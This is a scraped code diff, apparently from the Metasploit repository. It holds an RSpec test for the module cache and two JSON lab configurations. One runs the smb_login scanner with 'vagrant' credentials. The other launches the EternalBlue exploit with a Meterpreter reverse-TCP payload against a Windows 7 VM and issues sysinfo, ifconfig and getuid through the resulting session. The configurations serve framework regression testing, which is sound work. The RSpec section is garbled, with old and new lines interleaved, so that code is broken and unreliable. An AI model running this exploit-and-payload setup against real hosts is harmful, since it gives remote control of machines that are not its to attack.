|
||||
let(:typed_module_set) do
|
||||
module_manager.module_set(type)
|
||||
end
|
||||
|
||||
context 'with reference_name' do
|
||||
before(:example) do
|
||||
module_info_by_path_from_database!
|
||||
typed_module_set[reference_name] = double('Msf::Module')
|
||||
end
|
||||
|
||||
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
|
||||
it { expect(subject[:parent_path]).to eq(parent_path) }
|
||||
it { expect(subject[:reference_name]).to eq(reference_name) }
|
||||
it { expect(subject[:type]).to eq(type) }
|
||||
end
|
||||
|
||||
context 'typed module set' do
|
||||
let(:typed_module_set) do
|
||||
module_manager.module_set(type)
|
||||
end
|
||||
|
||||
context 'with reference_name' do
|
||||
before(:example) do
|
||||
typed_module_set[reference_name] = double('Msf::Module')
|
||||
end
|
||||
|
||||
it 'should not change reference_name value' do
|
||||
expect {
|
||||
module_info_by_path_from_database!
|
||||
}.to_not change {
|
||||
typed_module_set[reference_name]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
context 'without reference_name' do
|
||||
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||
it 'should not change reference_name value' do
|
||||
expect {
|
||||
module_info_by_path_from_database!
|
||||
}.to_not change {
|
||||
typed_module_set[reference_name]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# have to use fetch because [] will trigger de-symbolization and
|
||||
# instantiation.
|
||||
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
|
||||
end
|
||||
context 'without reference_name' do
|
||||
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
# have to use fetch because [] will trigger de-symbolization and
|
||||
# instantiation.
|
||||
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it 'should reset #module_info_by_path' do
|
||||
# pre-fill module_info_by_path so change can be detected
|
||||
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
|
||||
|
||||
module_info_by_path_from_database!
|
||||
|
||||
expect(module_info_by_path).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
{
|
||||
"TEST_NAME": "smb_login test",
|
||||
"REPORT_PREFIX": "SmbLoginTest",
|
||||
"FRAMEWORK_BRANCH": "upstream/master",
|
||||
"HTTP_PORT": 5309,
|
||||
"STARTING_LISTENER": 30000,
|
||||
"CREDS_FILE": "../JSON/creds.json",
|
||||
"MSF_HOSTS":
|
||||
[
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"METHOD": "VM_TOOLS_UPLOAD",
|
||||
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
|
||||
"NAME": "APT_MSF_HOST",
|
||||
"MSF_ARTIFACT_PATH": "/home/msfuser/rapid7/test_artifacts",
|
||||
"MSF_PATH": "/home/msfuser/rapid7/metasploit-framework"
|
||||
}
|
||||
],
|
||||
|
||||
"TARGETS":
|
||||
[
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"METHOD": "EXPLOIT",
|
||||
"NAME": "Win2008r2x64sp1",
|
||||
"MODULES":
|
||||
[
|
||||
{
|
||||
"NAME": "auxiliary/scanner/smb/smb_login",
|
||||
"SETTINGS": [
|
||||
"smbuser=vagrant",
|
||||
"smbpass=vagrant"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"METHOD": "EXPLOIT",
|
||||
"NAME": "Win2012x64",
|
||||
"MODULES":
|
||||
[
|
||||
{
|
||||
"NAME": "auxiliary/scanner/smb/smb_login",
|
||||
"SETTINGS": [
|
||||
"smbuser=vagrant",
|
||||
"smbpass=vagrant"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"TARGET_GLOBALS":
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
|
||||
"METHOD": "VM_TOOLS_UPLOAD",
|
||||
"PAYLOAD_DIRECTORY": "C:\\payload_test",
|
||||
"TESTING_SNAPSHOT": "TESTING_BASE",
|
||||
"PYTHON": "C:\\software\\x86\\python27\\python.exe",
|
||||
"METERPRETER_PYTHON": "C:\\software\\x86\\python27\\python.exe",
|
||||
"METERPRETER_JAVA": "C:\\software\\x86\\java\\bin\\java.exe"
|
||||
},
|
||||
"COMMAND_LIST": [],
|
||||
"SUCCESS_LIST": [
|
||||
"- Success:"
|
||||
]
|
||||
}
|
|
@ -0,0 +1,99 @@
|
|||
{
|
||||
"FRAMEWORK_BRANCH": "upstream/master",
|
||||
"HTTP_PORT": 5309,
|
||||
"STARTING_LISTENER": 30000,
|
||||
"CREDS_FILE": "../JSON/creds.json",
|
||||
"MSF_HOSTS":
|
||||
[
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"METHOD": "VM_TOOLS_UPLOAD",
|
||||
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
|
||||
"NAME": "APT_MSF_HOST",
|
||||
"MSF_PATH": "/home/msfuser/rapid7/metasploit-framework",
|
||||
"MSF_ARTIFACT_PATH": "/home/msfuser/rapid7/test_artifacts"
|
||||
}
|
||||
],
|
||||
"TARGET_GLOBALS":
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
|
||||
"METHOD": "VM_TOOLS_UPLOAD",
|
||||
"PAYLOAD_DIRECTORY": "C:\\payload_test",
|
||||
"TESTING_SNAPSHOT": "TESTING_BASE",
|
||||
"PYTHON": "C:\\software\\x86\\python27\\python.exe",
|
||||
"METERPRETER_PYTHON": "C:\\software\\x86\\python27\\python.exe",
|
||||
"METERPRETER_JAVA": "C:\\software\\x86\\java\\bin\\java.exe"
|
||||
},
|
||||
"TARGETS":
|
||||
[
|
||||
{
|
||||
"TYPE": "VIRTUAL",
|
||||
"METHOD": "EXPLOIT",
|
||||
"NAME": "Win7x64"
|
||||
}
|
||||
],
|
||||
"MODULES":
|
||||
[
|
||||
{
|
||||
"NAME": "exploit/windows/smb/ms17_010_eternalblue",
|
||||
"SETTINGS":
|
||||
[
|
||||
"SMBUser=vagrant",
|
||||
"SMBPass=vagrant"
|
||||
]
|
||||
}
|
||||
],
|
||||
"PAYLOADS":
|
||||
[
|
||||
{
|
||||
"NAME": "windows/x64/meterpreter/reverse_tcp",
|
||||
"SETTINGS": []
|
||||
}
|
||||
],
|
||||
"COMMAND_LIST": [
|
||||
"<ruby>",
|
||||
"sleep(60)",
|
||||
"</ruby>",
|
||||
"sessions -C sessions -l",
|
||||
"<ruby>",
|
||||
"sleep(60)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"<ruby>",
|
||||
"sleep(10)",
|
||||
"</ruby>",
|
||||
"sessions -C sysinfo",
|
||||
"sessions -C ifconfig",
|
||||
"sessions -C sessions -l",
|
||||
"sessions -C getuid",
|
||||
"sessions -C exit"
|
||||
],
|
||||
"SUCCESS_LIST": [
|
||||
"Session 1 created in the background"
|
||||
]
|
||||
}
|
Loading…
Reference in New Issue